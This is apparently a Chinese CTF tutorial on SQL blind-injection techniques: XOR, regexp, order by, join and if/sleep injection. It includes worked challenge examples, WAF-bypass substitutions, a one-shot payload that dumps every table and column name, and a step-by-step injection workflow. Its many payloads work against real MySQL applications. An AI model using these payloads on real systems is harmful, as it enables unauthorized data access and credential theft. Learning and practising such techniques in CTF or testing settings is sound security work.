CTF中几种通用的sql盲注手法和注入的一些tips
XOR注入
因为这种方法利用了异或符号,所以给它取名为xor注入
1、基本注入payload
1 | admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23 |
我们来分析一下这个语句的格式:
首先我们先根据^符号来分割开语句:
1 | admin' |
最前面和最后面的语句都固定为真(逻辑结果都为1),只有中间的语句不确定真假
那么整个payload的逻辑结果都由中间的语句决定,我们就可以用这个特性来判断盲注的结果了
1 | 0^1^0 --> 1 语句返回为真 |
这里mid函数的使用方法:
正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串
MID(str,pos,len)
这里的用法是,from(1)表示从第一个位置开始截取剩下的字符串,for(1)表示从改位置起一次就截取一个字符
1 | mid((str)from(i)) |
看下图的查询结果应该就知道用法了:
这里可能还会有疑问:为什么这里不加for可以正常运行呢?
因为这里的ascii函数是默认取字符串中第一个字符的ascii码
做为输出
2、使用场景
过滤了关键字:and、or
过滤了逗号,
过滤了空格
如果这里过滤了=号的话,还可以用>或者<代替(大小的比较)
payload:admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23
如果这里过滤了%号和注释符的话,那就把最后一个引号去掉就可以和后面的引号匹配了 '1'='1
regexp注入
1、基本注入payload
select (select语句) regexp '正则'
下面举一个例子来说明一下用法:
首先正常的查询语句是这样:
select user_pass from users where user_id = 1
接着进行正则注入,若匹配则返回1,不匹配返回0
select (select user_pass from users where user_id = 1) regexp '^a'
这里的^表示pattern的开头
接着一步步判断
或者regexp这个关键字还可以代替where条件里的=号
select from users where user_pass regexp '^a9'
2、使用场景
过滤了=、in、like
这里的^
如果也被过滤了的话,可以使用$来从后往前进行匹配
详细的正则注入教程可以看这里:
http://www.cnblogs.com/lcamry/articles/5717442.html
order by盲注
1、基本注入payload
select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3
首先先看看order by的使用方法:
order by 'number' (asc/desc)
即对某一列进行排序,默认是升序排列,即后面默认跟上asc,那么上面一句就相当于
select * from users order by 3 asc
我们在注入时经常会使用order by来判断数据库的列数,那我们这里使用他配合union select来进行注入
2、原理分析
首先正常的注入是蓝色那部分的字符串,这里我们的目的是要注出test用户的user_pass值
接着我们在语句后面加上order by 3,即对第三列进行升序排列(按照ascii码表)
这里的user_pass列中的3是我们union select里面的第三列,这里就把'3'替换为'a'
这里可能看不出什么变化,那么把他改成'b'看看
看到用户test跑到第一行来了,所以这里经常用来判断有返回差异的注入,且返回只有一列的输出,根据差异来判断我们盲注的值是否正确
当然这里也可以使用order by desc
降序排列来注入,所以这里要根据使用场景来进行选择
3、使用场景
过滤了列名
过滤了括号
适用于已知该表的列名以及列名位置的注入
实例讲解
1、ascii盲注来自skctf login3的一道题,bugku上也有:
题目链接:http://123.206.31.85:49167/
是标准的登陆框,因为存在注入,先fuzz一下过滤了什么字符。使用bp的intruder模块载入字典进行fuzz(字典在后面会分享给大家)。
可以看到这里的=,空格、and、or都被过滤了,但是>、<、^没有被过滤,所以这里使用ascii盲注
这里最后是要注入出admin的password,过程就不详细讲解了,直接给出payload:
username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23
网鼎杯第二场的一道注入题sqlweb的其中一种解法也是用到这种ascii盲注
这个payload和我们上面说的是一样的,所以这个就靠你们自己慢慢消化了。
2、regexp盲注是来自实验吧一道注入题
题目链接:http://ctf5.shiyanbar.com/web/earnest/index.php
writeup链接:http://www.shiyanbar.com/ctf/writeup/4828
当初也是看着p牛的wp做的,发现这道虽然难了点,但是里面的sql的知识点考的倒是不错,是练习过waf的一道好题目。
这道题只有一个id作为输入点,id存在注入点,但是过滤了很多东西,前面的步骤就不详细说了,去看p牛的详细解答
看到这里,过滤了^,但是没过滤$,所以xor注入就无效了,这边选择regexp注入使用$符号从后往前注入
0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='
这里是用python写的脚本,一个一个的对字符串的正则匹配得到最后flag
3、union盲注利用起来比较简单,就是利用上面说的那些条件进行注入,例子是来自蓝鲸ctf的一道ctf题目:
题目链接:http://ctf.whaledu.com:10012/52gw5g4hvs59/
题目好像进不去了,但是可以看writeup
首先题目存在sql注入还有一个上传点,可以通过注入拿到所有源码
拿到之后进行审计,发现上传时文件以随机字符串上传到了/Up10aD/文件夹下,我们的目的就是要通过注入拿到上传后的文件,在原来的注入点使用order by盲注将文件名得到:
重点就在order by盲注这,注入点在id这里:
那么写出order by盲注的脚本如下图:
这里存在过滤,绕过的方法是双写绕过,所以payload看起来不是很清楚,正常的应该是这样的:
image = 79 union distinct select 0x{filename} order by 1 desc
注意前面的image=79是存在的图片的id,这样order by才可以进行对比实现
这个注入形式也是和我们上面讲解一样,所以大家可以自己找题目来练习。
其他的一些小tips
1、一些等效替代的函数(特殊符号)
字符:
1 | 空格 <--> %20、%0a、%0b、/**/、 @tmp:=test |
函数:
字符串截断函数:left()、mid()、substr()、substring()
取ascii码函数:ord()、ascii()
2、 一次性报所有表明和字段名
(SELECT* (@) **FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)
3、Subquery returns more than 1 row的解决方法
产生这个问题的原因是子查询多于一列,也就是显示为只有一列的情况下,没有使用limit语句限制,就会产生这个问题,即limt 0,1
如果我们这里的逗号被过滤了咋办?那就使用offset关键字:
limit 1 offset 1
如果我们这里的limit被过滤了咋办?那就试试下面的几种方法:
(1) group_concat(使用的最多)
(2) <>筛选(不等于)
(3) not in
(4) DISTINCT
上面这些都涉及到了sql基本语句,这里就不一一举例了。大家可以多在本地环境试试,加深理解
4、join注入
payload::
1' union select * from (select 1) a join (select 2) b %23
优势:过滤了逗号的情况下使用
下面的payload(别的博客处摘抄来的)适用于过滤了逗号和字段名的情况下使用
union all
select * from(
(select 1)a join(
select F.[需要查询的字段号] from(
select * from [需要查询的表有多少个字段就join多少个]
union
select * from [需要查询的表] [limit子句]
)F-- 我们创建的虚拟表没有表名,因此定义一个别名,然后直接[别名].[字段号]查询数据
)b-- 同上[还差多少字段就再join多少个,以满足字段数相同的原则]
)
具体的使用方法不在本文的讨论范围内,具体的使用可以看看下面的文章:
https://blog.csdn.net/qq_33020901/article/details/78906268
5、带!的注入
直接看下面的payload,适用于and、or、^被过滤的情况下使用,有时候可能也会使用到,但是具体的原理不是很明白,大家可以自行google
6、if盲注(合理利用条件)
if盲注的基本格式:
if(条件,条件为真执行的语句,条件为假执行的语句)
举个例子:
admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)
用好if盲注的关键是条件的输入,有一道BCTF的注入题的wp用的就是if盲注
wp链接:https://www.kingkk.com/2018/04/bctf2018-love-q/
写博客的这位大佬巧妙利用了pow函数数值溢出的特性,使得经过if判断后的条件会报错,但是不执行该语句时语法上是没问题的
原理如下:
mysql> select if(1,1,pow(2,22222222222)); //条件为真时,返回1
+——————————————+
| if(1,1,pow(2,22222222222)) |
+——————————————+
| 1 |
+——————————————+
1 row in set (0.00 sec)
mysql> select if(0,1,pow(2,22222222222)); //条件为假时,报错
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,22222222222)'
像利用pow这种函数溢出的特性也不止这一个,这就需要我们靠平时的经验积累了,总之想要玩好ctf的注入题途径就是多刷题。
自己总结的注入流程
1、先找到注入点,id=,username=,判断GET/POST/COOKIE注入
2、查看显示位,如果只有一个显示位在使用union注入是注意使用limit来限制显示
3、判断字符型注入还是数字型注入(2-1,'是否正常)
4、输入不同值查看页面是否有变化,无变化的话可以考虑采用bool时间盲注,若有报错信息优先考虑报错注入(exp,updatexml(优先采用updatexml、extractvalue报错))
5、先简单测试空格和注释符是否被替换了,id=1 1,id = 1%231(看看能否用/ /、%20、%0a、%09绕过)
6、进行fuzz,看看那些被waf了
7、若页面上没有显示waf过滤之类的提示(sql injection detected),就测试是否有被替换为空的字符(如:'or '*'='、' or '-'=' ,如果页面返回正常的话,则说明该字符被替换为空)
8、简单尝试双写、编码、大小写替换的方法,判断是否可以绕过
9、确定注入方式(尽量把盲注放最后),union、报错注入、盲注
10、先在bp中跑一遍看是否有结果
11、尝试写脚本
最重要的两步就是注入点并判断出注入类型,找到被过滤的函数和关键字并找到替代的函数和关键字,这就需要我们靠自己的耐心和细心还有经验的积累了。